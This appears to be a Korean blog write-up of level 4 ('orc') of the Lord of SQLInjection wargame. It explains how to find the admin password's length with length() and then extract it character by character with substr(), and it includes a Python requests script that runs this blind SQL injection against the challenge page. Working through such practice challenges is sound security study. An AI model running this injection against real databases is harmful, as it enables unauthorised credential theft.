paperHun

LOS 4번 본문

Lord of SQLInjection

LOS 4번

paperHun 2021. 7. 11. 23:15

los 4번을 풀어보자.

 

los_orc

먼가 이전과는 다른게 생긴거 같다. 조건문이 더 추가 된거 같다.

해결조건

내가 입력한 pw 값이 맞는지 검사 해보는거 같다. 따라서 여기서는 pw값을 스킵하는 이전의 꼼수를 쓸수 없게 된거같다.

이전과는 다르게 간단하게 문제를 풀수 없을거 같다. 

 

이번 문제를 풀기 위해서는 pw를 하나 하나 맞추어 보는수 밖에 없을꺼 같다. pw 전체를 맞추기에는 시간이 오래 걸릴꺼 같은데, 이때  substr함수를 사용하게 되면 획기적으로 시간을 줄일수 있다. 예를 들어 substr(pw,1,1)을 쓰게 된다면 pw중 1번째 글자부터 1개를 잘라낸다. 이 점을 이용하여 pw를 한자리 한자리 대입하여서 pw를 완성 하면된다. 

 

length()함수를 사용하여 pw의 길이를 알아내었다.

 

pw의 길이는 엄청 길지는 않을테니 url안에 length()함수를 사용하여 비교값을 1부터 1씩 늘려가며 노가다로 찾았다. 다행히 8에서 끝났다 ㅎㅎ. 길이를 알아냈으니 이제 pw값을 구하는것만 남았다.

 

import requests

answer=""


cookies={'PHPSESSID':''}

for i in range(1,9):
    for j in range(48,91):
        URL="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' || id= 'admin' %26%26 substr(pw,"+str(i)+",1)='"+chr(j)+"'%23"
        response=requests.get(URL,cookies=cookies)
        if("Hello admin" in response.text):
            print(chr(j))
            answer+=chr(j)
            break
            
print(answer)

requests 모듈을 사용하여 파이썬으로 pw를 때려 맞추는 방식을 택했다. 이 코드를 사용하게 되면 pw의 값을 하나씩 떼어내서 숫자와 영문자들을 하나씩 비교해보며 한자리씩 pw 값을 알아내준다.

pw의 값을 알아내여 입력하면 해결

 

코드를 도려 pw 값을 알아냈으니 pw에 입력해주면 위와 같이 클리어가 된다.

'Lord of SQLInjection' 카테고리의 다른 글

LOS 6번  (0) 2021.07.11
LOS 5번  (0) 2021.07.11
LOS 3번  (0) 2021.07.11
LOS 2번  (0) 2021.07.11
LOS 1번  (0) 2021.07.11